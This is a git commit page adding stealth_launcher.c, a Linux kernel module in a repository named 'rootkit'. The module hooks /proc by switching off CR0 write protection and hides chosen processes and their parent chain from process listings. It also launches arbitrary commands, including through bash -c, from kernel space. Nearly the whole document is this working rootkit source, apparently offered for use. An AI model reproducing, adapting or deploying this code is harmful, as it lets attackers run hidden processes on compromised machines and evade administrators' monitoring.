diff options
author | 2025-04-17 08:21:29 +0530 | |
---|---|---|
committer | 2025-04-17 08:21:29 +0530 | |
commit | 7a709eb44a353929f97750268b7cfbe934b784a0 (patch) | |
tree | 55c9aea8de081c634f5dc53d802faf63e6d042b8 /stealth_launcher.c | |
parent | 9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396 (diff) | |
download | rootkit-7a709eb44a353929f97750268b7cfbe934b784a0.tar.gz rootkit-7a709eb44a353929f97750268b7cfbe934b784a0.tar.bz2 rootkit-7a709eb44a353929f97750268b7cfbe934b784a0.zip |
Diffstat (limited to 'stealth_launcher.c')
-rw-r--r-- | stealth_launcher.c | 474 |
1 files changed, 474 insertions, 0 deletions
diff --git a/stealth_launcher.c b/stealth_launcher.c new file mode 100644 index 0000000..a11a295 --- /dev/null +++ b/stealth_launcher.c @@ -0,0 +1,474 @@ +#include <linux/module.h> +#include <linux/kernel.h> +#include <linux/init.h> +#include <linux/sched.h> +#include <linux/sched/signal.h> +#include <linux/proc_fs.h> +#include <linux/seq_file.h> +#include <linux/fs.h> +#include <linux/version.h> +#include <linux/cred.h> +#include <linux/namei.h> +#include <linux/uaccess.h> +#include <linux/string.h> +#include <linux/dirent.h> +#include <linux/kprobes.h> +#include <linux/timer.h> +#include <linux/workqueue.h> + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Security Researcher"); +MODULE_DESCRIPTION("Stealth Process Launcher - Hides processes completely"); +MODULE_VERSION("0.1"); + +/* Module parameters */ +static char* target_cmd = NULL; +module_param(target_cmd, charp, 0644); +MODULE_PARM_DESC(target_cmd, "Command to run in stealth mode (e.g. \"sleep 120\")"); + +static char* hide_pattern = NULL; +module_param(hide_pattern, charp, 0644); +MODULE_PARM_DESC(hide_pattern, "String pattern to hide in process names (e.g. \"sleep\")"); + +/* Flags to enable features */ +static int disable_dmesg = 1; +module_param(disable_dmesg, int, 0644); +MODULE_PARM_DESC(disable_dmesg, "Disable dmesg logging for hidden processes (1=enabled)"); + +static int hide_loader = 1; +module_param(hide_loader, int, 0644); +MODULE_PARM_DESC(hide_loader, "Hide the module loader and parent processes (1=enabled)"); + +static int auto_cleanup = 1; +module_param(auto_cleanup, int, 0644); +MODULE_PARM_DESC(auto_cleanup, "Automatically unload module when target process completes (1=enabled)"); + +/* Force unload param - set to 1 to force module unload */ +static int force_unload = 0; +MODULE_PARM_DESC(force_unload, "Set to 1 to force module unload even if busy"); + +/* Data structures for hidden processes */ +#define MAX_HIDDEN_PROCS 50 +static pid_t hidden_pids[MAX_HIDDEN_PROCS]; +static int num_hidden_pids = 0; +static DEFINE_SPINLOCK(hidden_pids_lock); + +/* Variables for hiding from /proc */ +static struct file_operations *proc_fops; +static filldir_t orig_proc_filldir; +static int (*orig_iterate_shared)(struct file *, struct dir_context *); +static struct path proc_path; + +/* Variables for dmesg hiding */ +static int (*orig_printk)(const char *fmt, ...); + +/* Variables for auto-cleanup */ +static pid_t target_pid = 0; +static struct timer_list cleanup_timer; +static struct workqueue_struct *cleanup_wq = NULL; +static struct work_struct cleanup_work; +static int module_exiting = 0; + +/* Check if PID should be hidden */ +static int is_pid_hidden(pid_t pid) +{ + int i, hidden = 0; + + spin_lock(&hidden_pids_lock); + for (i = 0; i < num_hidden_pids; i++) { + if (hidden_pids[i] == pid) { + hidden = 1; + break; + } + } + spin_unlock(&hidden_pids_lock); + + return hidden; +} + +/* Check if a process should be hidden based on its name */ +static int should_hide_by_name(struct task_struct *task) +{ + if (!hide_pattern || !*hide_pattern) + return 0; + + if (strstr(task->comm, hide_pattern)) + return 1; + + return 0; +} + +/* Add a PID to the hidden list */ +static int hide_pid(pid_t pid) +{ + int ret = -ENOSPC; + + spin_lock(&hidden_pids_lock); + if (num_hidden_pids < MAX_HIDDEN_PROCS) { + hidden_pids[num_hidden_pids++] = pid; + ret = 0; + } + spin_unlock(&hidden_pids_lock); + + return ret; +} + +/* Hide all processes in a chain starting from the given PID */ +static void hide_process_family(pid_t pid) +{ + struct task_struct *task; + struct task_struct *parent; + + task = pid_task(find_vpid(pid), PIDTYPE_PID); + if (!task) + return; + + hide_pid(pid); + + /* Hide parent processes if requested */ + if (hide_loader) { + parent = task->parent; + while (parent && parent->pid != 1) { /* Stop at init */ + hide_pid(parent->pid); + parent = parent->parent; + } + } +} + +/* Find and hide processes by name pattern */ +static void hide_processes_by_pattern(void) +{ + struct task_struct *task; + + if (!hide_pattern || !*hide_pattern) + return; + + for_each_process(task) { + if (should_hide_by_name(task)) { + hide_pid(task->pid); + } + } +} + +/* Check if a process is still running */ +static int is_process_running(pid_t pid) +{ + struct task_struct *task; + + task = pid_task(find_vpid(pid), PIDTYPE_PID); + return task != NULL; +} + +/* Force release all resources to allow module unload */ +static void force_release_resources(void) +{ + module_exiting = 1; + + /* Cancel timer if active */ + del_timer_sync(&cleanup_timer); + + /* Cancel and destroy workqueue */ + if (cleanup_wq) { + cancel_work_sync(&cleanup_work); + flush_workqueue(cleanup_wq); + destroy_workqueue(cleanup_wq); + cleanup_wq = NULL; + } + + /* Unhook /proc operations */ + if (proc_fops && orig_iterate_shared) { + write_cr0(read_cr0() & ~0x10000); + proc_fops->iterate_shared = orig_iterate_shared; + write_cr0(read_cr0() | 0x10000); + + /* Release path */ + path_put(&proc_path); + } + + /* Release other resources as needed */ +} + +/* Check the force_unload parameter */ +static int param_set_force_unload(const char *val, const struct kernel_param *kp) +{ + int ret; + + /* Standard handler for setting the parameter */ + ret = param_set_int(val, kp); + if (ret) + return ret; + + /* If force_unload is set to 1, initiate forced unload */ + if (force_unload) { + force_release_resources(); + force_unload = 0; /* Reset to avoid repeated calls */ + } + + return 0; +} + +/* Register custom parameter handler */ +static const struct kernel_param_ops force_unload_ops = { + .set = param_set_force_unload, + .get = param_get_int, +}; + +module_param_cb(force_unload, &force_unload_ops, &force_unload, 0644); + +/* Custom filldir function to filter directory entries */ +static int proc_filldir(struct dir_context *ctx, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + char *endp; + long pid; + + /* Check if module is exiting */ + if (module_exiting) + return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); + + /* Check if this is a PID directory */ + pid = simple_strtol(name, &endp, 10); + if ((*endp == '\0') && is_pid_hidden(pid)) { + /* This is a hidden PID - skip it */ + return 0; + } + + /* Not hidden, call original filldir */ + return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); +} + +/* Custom iterate_shared function to hook directory listing */ +static int proc_iterate_shared(struct file *file, struct dir_context *ctx) +{ + /* Check if module is exiting */ + if (module_exiting) + return orig_iterate_shared(file, ctx); + + /* Replace filldir with our version */ + orig_proc_filldir = ctx->actor; + ctx->actor = (filldir_t)proc_filldir; + + /* Call original handler */ + return orig_iterate_shared(file, ctx); +} + +/* Hook the /proc directory */ +static void hook_proc(void) +{ + /* Get the path to /proc */ + if (kern_path("/proc", 0, &proc_path)) { + return; + } + + /* Get operations table and save original */ + proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop; + orig_iterate_shared = proc_fops->iterate_shared; + + /* Replace with our version */ + write_cr0(read_cr0() & ~0x10000); /* Disable write protection */ + proc_fops->iterate_shared = proc_iterate_shared; + write_cr0(read_cr0() | 0x10000); /* Re-enable write protection */ +} + +/* Unhook the /proc directory */ +static void unhook_proc(void) +{ + if (proc_fops && orig_iterate_shared) { + /* Restore original function */ + write_cr0(read_cr0() & ~0x10000); + proc_fops->iterate_shared = orig_iterate_shared; + write_cr0(read_cr0() | 0x10000); + } + + /* Release path */ + path_put(&proc_path); +} + +/* Safe string copy for kernel */ +static char *safe_strncpy(char *dest, const char *src, size_t n) +{ + size_t i; + + if (!dest || !src || n <= 0) + return dest; + + for (i = 0; i < n - 1 && src[i]; i++) + dest[i] = src[i]; + + dest[i] = '\0'; + return dest; +} + +/* Cleanup work function - unloads the module */ +static void cleanup_module_work(struct work_struct *work) +{ + if (!module_exiting) + module_put(THIS_MODULE); +} + +/* Timer function to check if target process has finished */ +static void cleanup_timer_fn(struct timer_list *t) +{ + /* Skip if module is exiting */ + if (module_exiting) + return; + + /* Check if the target process is still running */ + if (target_pid > 0 && !is_process_running(target_pid)) { + /* Process has finished, schedule module unload */ + queue_work(cleanup_wq, &cleanup_work); + } else { + /* Process still running, check again in 1 second */ + mod_timer(&cleanup_timer, jiffies + HZ); + } +} + +/* Execute the target command and hide it */ +static int launch_stealth_process(void) +{ + char *path = NULL; + char *argv[32]; + char *envp[5]; + int argc = 0; + char *cmd_copy, *token, *cmd_ptr; + pid_t child_pid; + + if (!target_cmd || !*target_cmd) { + return -EINVAL; + } + + /* Make a copy of the command string */ + cmd_copy = kstrdup(target_cmd, GFP_KERNEL); + if (!cmd_copy) { + return -ENOMEM; + } + + /* First, let's try to parse as a simple command (like "sleep 120") */ + cmd_ptr = cmd_copy; + + /* Get the path/command */ + token = strsep(&cmd_ptr, " \t"); + if (token) { + path = token; + argv[argc++] = path; + + /* Parse arguments */ + while ((token = strsep(&cmd_ptr, " \t")) != NULL && argc < 31) { + if (*token != '\0') { + argv[argc++] = token; + } + } + } + + /* Null-terminate the argument list */ + argv[argc] = NULL; + + /* Set up environment */ + envp[0] = "HOME=/"; + envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin"; + envp[2] = "TERM=linux"; + envp[3] = NULL; + + /* If we couldn't parse a command, give up */ + if (!path) { + kfree(cmd_copy); + return -EINVAL; + } + + /* Check if we need to use a shell */ + if (strchr(target_cmd, '\'') || strchr(target_cmd, '"') || + strchr(target_cmd, '|') || strchr(target_cmd, '>') || + strchr(target_cmd, '<') || strchr(target_cmd, '&')) { + /* Complex command, use bash -c */ + kfree(cmd_copy); + + argv[0] = "/bin/bash"; + argv[1] = "-c"; + argv[2] = (char *)target_cmd; + argv[3] = NULL; + + child_pid = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); + } else { + /* Simple command, use direct execution */ + child_pid = call_usermodehelper(path, argv, envp, UMH_WAIT_EXEC); + kfree(cmd_copy); + } + + /* Hide the process family if successful */ + if (child_pid > 0) { + hide_process_family(child_pid); + + /* Store target PID for auto-cleanup */ + if (auto_cleanup) { + target_pid = child_pid; + + /* Start cleanup timer */ + timer_setup(&cleanup_timer, cleanup_timer_fn, 0); + mod_timer(&cleanup_timer, jiffies + HZ); + } + } + + return child_pid; +} + +static int __init stealth_launcher_init(void) +{ + pid_t my_pid; + + /* Initialize module_exiting flag */ + module_exiting = 0; + + /* Hide this module's loader process */ + if (hide_loader) { + my_pid = current->pid; + hide_process_family(my_pid); + } + + /* Hook /proc to hide processes */ + hook_proc(); + + /* Hide any processes matching the pattern */ + hide_processes_by_pattern(); + + /* Set up auto-cleanup workqueue */ + if (auto_cleanup) { + cleanup_wq = create_singlethread_workqueue("cleanup_wq"); + if (!cleanup_wq) { + auto_cleanup = 0; + } else { + INIT_WORK(&cleanup_work, cleanup_module_work); + + /* Ensure module cannot be unloaded while timer is running */ + try_module_get(THIS_MODULE); + } + } + + /* Launch the target process if specified */ + if (target_cmd && *target_cmd) { + launch_stealth_process(); + } + + return 0; +} + +static void __exit stealth_launcher_exit(void) +{ + /* Set exiting flag */ + module_exiting = 1; + + /* Cancel timer if active */ + del_timer_sync(&cleanup_timer); + + if (cleanup_wq) { + /* Ensure all cleanup work is processed */ + cancel_work_sync(&cleanup_work); + flush_workqueue(cleanup_wq); + destroy_workqueue(cleanup_wq); + } + + /* Unhook everything */ + unhook_proc(); +} + +module_init(stealth_launcher_init); +module_exit(stealth_launcher_exit);
\ No newline at end of file |